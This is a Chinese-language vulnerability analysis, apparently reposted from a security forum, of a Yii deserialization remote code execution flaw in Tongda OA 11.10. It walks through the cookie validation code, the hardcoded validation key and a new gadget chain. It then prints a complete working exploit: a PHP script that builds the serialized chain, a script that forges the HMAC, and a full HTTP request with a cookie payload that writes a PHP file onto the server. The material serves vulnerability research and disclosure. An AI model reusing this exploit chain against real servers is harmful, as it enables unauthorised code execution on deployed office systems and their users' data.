        return $this->_cookies;
    }

protected function loadCookies()
    {
        $cookies=[];
        if ($this->enableCookieValidation) {
            if ($this->cookieValidationKey=='') {
                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
            }
            foreach ($_COOKIE as $name=> $value) {
                if (!is_string($value)) {
                    continue;
                }
              //$this->cookieValidationKey='tdide2'
                $data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                if ($data===false) {
                    continue;
                }
              // 反序列化点
                $data=@unserialize($data);
                if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
                    $cookies[$name]=Yii::createObject([
                        'class'=> 'yii\web\Cookie',
                        'name'=> $name,
                        'value'=> $data[1],
                        'expire'=> null,
                    ]);
                }
            }
        ......

回到loadCookies中,对$_COOKIE循环遍历并对cookie中每个字段的值用Yii::$app->getSecurity()->validateData()校验,校验csrf token值无问题后对其进行反序列化。

跟进发现是yii/base/Security的validataData方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。hash_hmac设置的是sha256位的hash计算模式,因此每次传入csrf token都要计算对应的hash值。

public function validateData($data, $key, $rawHash=false)
    {
        //$this->macHash=sha256
        $test=@hash_hmac($this->macHash, '', '', $rawHash);
        if (!$test) {
            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
        }
        $hashLength=StringHelper::byteLength($test);
        if (StringHelper::byteLength($data) >=$hashLength) {
            $hash=StringHelper::byteSubstr($data, 0, $hashLength);
            $pureData=StringHelper::byteSubstr($data, $hashLength, null);
            //hash_mac('sha256',$pureData,'tdide2',false)
            $calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);

            if ($this->compareString($hash, $calculatedHash)) {
                return $pureData;
            }
        }

        return false;
    }

2.通达OA调用csrfMetaTags的地方

分析完了反序列化unserialize的触发点,但还要找到调用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html页面meta标签的csrf token,因此调用的地方一般在html模版或者写页面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有调用该方法。

<?php
$this->beginPage();
echo "<!DOCTYPE html>\n<html lang=\"";
echo Yii::$app->language;
echo "\">\n<head>\n    <meta charset=\"";
echo Yii::$app->charset;
echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";
echo yii\helpers\Html::csrfMetaTags();
echo "    <title>";
......

查看/general/appbuilder/目录结构发现general/appbuilder/views/是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。

根据手册,general/appbuilder/config/params.php是配置框架参数的,其中skip_module是配置不进行鉴权的模块,其中就有portal门户模块。

<?php

include_once "inc/td_config.php";
$arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
return array(
......
    "skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),

同时general/appbuilder/web/index.php是yii路由入口,获取请求路径后以问号为分隔符substr分割路径和uri参数。portal模块下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的话会直接跳转到index.php,从而可以触发general/appbuilder/views/layouts/main.php模板。

......
    else {
        $url=$_SERVER["REQUEST_URI"]; //获取路径
        $strurl=substr($url, 0, strpos($url, "?")); //分割路径和uri参数

        if (strpos($strurl, "/portal/") !==false) {
            if (strpos($strurl, "/gateway/")===false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($strurl, "/gateway/saveportal") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "edit") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadfile") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadportalfile") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "uploadpicture") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
            else if (strpos($url, "dologin") !==false) {
                header("Location:/index.php");
                sess_close();
                exit();
            }
        }
    ......

因此,触发漏洞的路由是/general/appbuilder/portal/gateway/?。

在inc/common.inc.php可以看到通达OA有全局的addslashes过滤,对Cookie中过滤。传入payload的时候将_csrf改为_GET、_POST等就可以绕过。

if (0 < count($_COOKIE)) {
  foreach ($_COOKIE as $s_key=> $s_value ) {
    if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
      continue;
    }

    if (!is_array($s_value)) {
      $_COOKIE[$s_key]=addslashes(strip_tags($s_value));
    }

    $s_key=$_COOKIE[$s_key];
  }

  reset($_COOKIE);
}

3.yii 反序列化链

yii常见的反序列化起点是利用yii\db\BatchQueryResult的。其中yii框架POP1链条差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通达oa里并没有用**Faker\Generator**,而且好多yii反序列化链涉及的类都通达oa都没有,因此这里需要重新找一条链。

yii\db\BatchQueryResult的__destruct调用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解为可控类->close()。全局搜索到yii\db\DataReader存在close()方法。

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

public function reset()
    {
        if ($this->_dataReader !==null) { 
            $this->_dataReader->close();
        }
        $this->_dataReader=null;
        $this->_batch=null;
        $this->_value=null;
        $this->_key=null;
    }

因此,可设置$this->_dataReader=new DataReader()从而触发调用其close方法,进入后$this->_statement可控,同样是可控类->closeCursor(),但是全局搜索没找到什么对应的类。尝试找带有call方法的类,通过调用其不存在的closeCursor,触发call方法。

public function close()
    {
        $this->_statement->closeCursor();//$this->_statement=new Connection();
        $this->_closed=true;
    }

在通达oa 11.10全局搜索中找到yii2框架还用了yii2-redis库,在yii2-redis里面找到yii\redis\Connection类存在call方法。


打开后发现代码由于解密问题有乱码问题,找到对应的yii2-redis仓库下载对应版本的源码(inc/vendor/yii2/yiisoft/extensions.php页面可查看yii2-redis版本为2.0.6)。$redisCommand=$name='closeCursor'转换为大写,再与$this->redisCommands比对,查看是否存在其中,而$this->redisCommands可控,可参照其默认值形式,设置为CLOSE CURSOR,从而可进入executeCommand。

public $redisCommands=[
        'APPEND', // Append a value to a key
        'AUTH', // Authenticate to the server
        'BGREWRITEAOF', // Asynchronously rewrite the append-only file
        'BGSAVE', // Asynchronously save the dataset to disk
......
    ];

public function __call($name, $params)//$name=closeCursor,$params=null
    {
        $redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
        if (in_array($redisCommand, $this->redisCommands)) {
            return $this->executeCommand($redisCommand, $params);
        }

        return parent::__call($name, $params);
    }

executeCommand调用open方法,跟进发现$this->_socket可控,为保证代码继续运行这里要设置为false(默认初始化值为false)。$connection由hostname、port、database拼接,每个变量都可控,然后后续进行socket的链接。由于通达一体包系统环境一般是win系统,所以设置$this->unixSocket为false(可控)就能进入win下tcp链接。这里只要连通就可以让$this->_socket为true进入if分支。if分之内前面三个if条件$this->dataTimeout、$this->password、$this->database都可控,这三个分支调用的不是executeCommand的递归就是又进行socket链接都不符合情况,所以需要设置为null,才能保证进入initConnection()。

public function executeCommand($name, $params=[])
    {
        $this->open();
......
    }

public function open()
    {
        if ($this->_socket !==false) {
            return;
        }
        $connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
        \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
        $this->_socket=@stream_socket_client(
            $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
            $errorNumber,
            $errorDescription,
            $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
            $this->socketClientFlags
        );
        if ($this->_socket) {
            if ($this->dataTimeout !==null) {
                stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
            }
            if ($this->password !==null) {
                $this->executeCommand('AUTH', [$this->password]);
            }
            if ($this->database !==null) {
                $this->executeCommand('SELECT', [$this->database]);
            }
            $this->initConnection();
        }
    ......
}

initConnection()实际调用的是yii\base\Component(framework/base/Component.php)::trigger()方法,参数EVENT_AFTER_OPEN固定值是afterOpen。

const EVENT_AFTER_OPEN='afterOpen';

protected function initConnection()
    {
        $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
    }

trigger方法在line560调用了call_user_func,逆向溯源两个$handler[0]和$event参数。$this->_events[$name]=$this->['afterOpen']不为空,就能进入该分支调用call_user_func。然后对$this->_events['afterOpen']进行数组遍历,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

public function trigger($name, Event $event=null)
    {
        $this->ensureBehaviors();
        //$this->_events['afterOpen']=''
        if (!empty($this->_events[$name])) {
            if ($event===null) {
                $event=new Event();
            }
            if ($event->sender===null) {
                $event->sender=$this;//yii\base\Component
            }
            $event->handled=false;
            $event->name=$name;//'afterOpen'
            //$this->>_events['afterOpen']=$handler; 
            foreach ($this->_events[$name] as $handler) {
                $event->data=$handler[1];//any
                call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
                // stop further handling if the event is handled
                if ($event->handled) {
                    return;
                }
            }
        }
        // invoke class-level attached handlers
        Event::trigger($this, $name, $event);
    }

参考低版本yii反序列化链执行代码注入的一般通过yii\rest\CreateAction或者类似的类(代码内容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess设置为调用php函数,如system执行命令;$this->id设置执行内容,如命令whoami。

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
      ......

结合上面的trigger方法,call_user_func参数1可以设置为调用CreateAction的run方法,调用方式:call_user_func([new CreateAction, 'run'],'a')。如何给$this->_events['afterOpen']赋值,继续查看如下代码注释:

//$this->>_events['afterOpen']=$handler; //一重数组,$handler要求是数组
            foreach ($this->_events[$name] as $handler) { //二重数组,$handler分为$handler[0]和handler[1]
                $event->data=$handler[1];//any
                call_user_func($handler[0],$event);
                //call_user_func([new CreateAction,'run'],any); 
                //三重数组,call_user_func调用类需要用数组传入,形如[new A(),...params]

转换过来也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。

0x02 漏洞复现

1.生成反序列化链

该链条效果为写入一个名为hgsd.php的php文件,内容为<?php echo 123;?>。输出反序列化payload的base64编码,解码并urlencode作为伪造的csrf token一部分数据。

<?php

//step4
namespace yii\rest {
    class CreateAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->checkAccess='assert';
            $this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
        }

    }
}

//step3
namespace yii\base {

    use yii\rest\CreateAction;

    class Component {

        private $_events=[];
        private $_behaviors=1;

        public function __construct() {
            $this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
            //第二个"a"参数任意。
        }
    }
}
//step2
namespace yii\redis {

    use yii\base\Component;

    class Connection extends Component{
        public $redisCommands=[];
        public $hostname='';
        public $port;
        public $password;
        public $username;
        public $connectionTimeout;
        public $dataTimeout;
        public $database;
        public $unixSocket;
        private $_socket;

        public function __construct()
        {
            $this->redisCommands=array('CLOSE CURSOR');
            $this->_socket=false;
            $this->hostname='127.0.0.1';
            $this->port=803;//能够连通的任意本地服务的端口
            $this->unixSocket=false;
            $this->connectionTimeout=5;
            parent::__construct();
        }
    }

}

// step1 
namespace yii\db {

    use yii\redis\Connection;

    class DataReader {
        private $_statement;
        private $_closed=false;
        private $_row;
        private $_index=-1;
        public function __construct()
        {
            $this->_statement=new Connection();
        }
    }

    class BatchQueryResult {
        public $batchSize=100;
        public $each=false;
        private $_dataReader;
        private $_batch;
        private $_value;
        private $_key;

        public function __construct() {
            $this->_dataReader=new DataReader();
        }

    }
}
//start
namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

2. 生成反序列化hash

对第一步生成的反序列化payload(base64已编码)进行hash计算,从而生成对应的csrf token另一部分数据。

<?php
$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');

$calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false); 
# yii general/appbuilder/config/web.php cookieValidationKey 固定值
echo($calculatedHash);

3.http报文(漏洞验证)

对数据包请求方式没有限制,get和post方式都可以。伪造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完毕后,在发送如下请求:

POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

执行成功后响应500,响应体如下图所示:


上述生成的poc文件目录是/general/appbuilder/web/hgsd.php。


from https://xz.aliyun.com/t/12855